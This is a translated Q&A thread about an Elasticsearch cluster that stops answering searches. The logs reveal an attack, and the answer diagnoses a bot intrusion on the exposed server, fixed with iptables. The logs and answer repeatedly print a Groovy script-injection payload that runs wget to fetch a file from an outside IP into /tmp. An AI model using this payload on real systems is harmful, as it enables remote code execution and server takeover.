Elasticsearch 在每个搜索请求上都会超时，直到重新启动答案

【问题标题】：Elasticsearch times out on every search request until restartElasticsearch 在每个搜索请求上都会超时，直到重新启动
【发布时间】：2015-04-30 17:57:14
【问题描述】：

这有点尴尬，因为 elasticsearch 的全部目的是搜索，但不知何故我的已经失去了这样做的能力。

我的配置

重点：

我在负载均衡器下获得了 2 个 Elasticsearch 实例。

我有 3 个配置了副本集的 MongoDB 实例。

我安装了river（不知道是不是跟它有关），这个：https://github.com/richardwilly98/elasticsearch-river-mongodb/wiki

问题概要

Elasticsearch 上线 5 天，其索引的完整大小不到 1MB。

Elasticsearch 已经连续工作了 4 天没有问题，非常快。

所有其他请求都可以正常执行，除了 GET 'http://codename.es.domain:9200/_search'

任何类型的搜索。

更多信息

集群运行状况良好。 MongoDB 很好。我可以创建新索引并索引更多文档。

除非我停止请求，否则它甚至不会超时。

从 NodeJS 使用官方 elasticsearch 客户端： https://www.npmjs.com/package/elasticsearch

我收到：

{
  "error": {
      "message": "Request Timeout after 30000ms"
    }
}

造成问题的日志

[

2015-04-30 05:05:59,807][DEBUG][action.search.type       ] [Saint Anna] [events][3], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][3]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script458.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [events][1], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][1]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script457.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script460.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,807][DEBUG][action.search.type       ] [Saint Anna] [events][0], node[eExNWov7SluNvzvydS_BTQ], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.search.SearchParseException: [events][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
    at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script461.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,807][DEBUG][action.search.type       ] [Saint Anna] [events][2], node[Oq7k-P26RoabKCjZ_YmlIw], [R], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][2]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script461.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,809][DEBUG][action.search.type       ] [Saint Anna] [events][4], node[eExNWov7SluNvzvydS_BTQ], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238]
org.elasticsearch.search.SearchParseException: [events][4]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
    at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script462.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,811][DEBUG][action.search.type       ] [Saint Anna] All shards failed for phase: [query]

显然，下面的这些日志发生得更早，并且在某些时候发生过：

[2015-04-30 05:05:59,811][DEBUG][action.search.type       ] [Saint Anna] All shards failed for phase: [query]

在此之后，直到重新启动后才开始工作。

当前日志

[2015-04-30 08:14:02,174][DEBUG][action.search.type       ] [Saint Anna] [4496] Failed to execute fetch phase
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/fetch/id]]
Caused by: org.elasticsearch.script.groovy.GroovyScriptExecutionException: IOException[Cannot run program "/tmp/wie.bia": error=2, No such file or directory]; nested: IOException[error=2, No such file or directory]; 
    at org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:253)
    at org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74)
    at org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211)
    at org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:481)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:868)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:862)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
[2015-04-30 08:14:03,021][DEBUG][action.search.type       ] [Saint Anna] [4512] Failed to execute fetch phase
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/fetch/id]]
Caused by: org.elasticsearch.script.groovy.GroovyScriptExecutionException: IOException[Cannot run program "/tmp/wie.bia": error=2, No such file or directory]; nested: IOException[error=2, No such file or directory]; 
    at org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:253)
    at org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74)
    at org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211)
    at org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:481)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:868)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:862)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)

问题的解决方法真的很糟糕

启动并重新运行的唯一方法是重新启动。

这个问题在我们之前的主机时就已经出现了。

我们必须每三天重新启动一次弹性搜索，但它一直在恶化，直到我们不得不每小时重新启动。

我正在努力避免这种情况，有什么建议吗？

【问题讨论】：

请分享更多细节，您有什么疑问？你能把链最小化到只有 1 个 ES 服务器，没有 Mongo 和没有河，然后再次尝试模拟问题吗？
什么是查询类型？是的，我已经最小化到 1ES，但仍然是 Mongo 河，问题仍然存在。不幸的是，所有数据都来自河流，所以我实际上不能这样做，这是我们的生产站点。
我问你运行哪些查询，术语查询，模糊查询等。日志中有任何信息吗？
从 match_all 到模糊查询和函数分数查询，实际上没有任何效果，甚至没有从 mongo 借来的样本数据
添加了最新日志，这些日志在两个实例上都发生，几乎来自最新查询。

标签： mongodb elasticsearch

【解决方案1】：

问题已解决：

tl;博士：

原因：对我们不安全的服务器的机器人攻击。

根据elasticsearch发布的一篇文章：

https://www.elastic.co/blog/scripting-security/

1.不要向公众开放 Elasticsearch

采取的行动： 我们向我们的 puppet 服务器添加了 iptables 规则，以应用我们所有的 elasticsearch 服务器。

我们犯了这个错误，不幸的是我们付出了代价。我们现在又回来了。

调查 - 较长部分

嗯，根据日志，我发现了一些非常可疑的东西

[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]

我会修剪主要部分：

exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\")

这是一种robot hack的形式，因为我们没有一个叫xiao的人或者我们的服务器不在中国（根据GEO-IP），我们怀疑这条线。

根据上面提到的文章：

我们最近看到恶意用户公开利用可用的 Elasticsearch 服务器来访问主机系统。有几种方法可以监控您是否受到影响这种安全漏洞。

最近的攻击是生成类似于以下：

[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.

您还应该监控异常的系统负载并执行彻底审核您的系统。

确保如果您检测到任何被利用的系统，您采取上述步骤可在您拥有后保护您的 Elasticsearch 节点删除或重新安装受影响的系统。

黑客应用了一些令人讨厌的查询，导致我们的 elasticsearch 停止运行。

我们重新启动了服务器并添加了 Iptables，我们又恢复了业务。

【讨论】：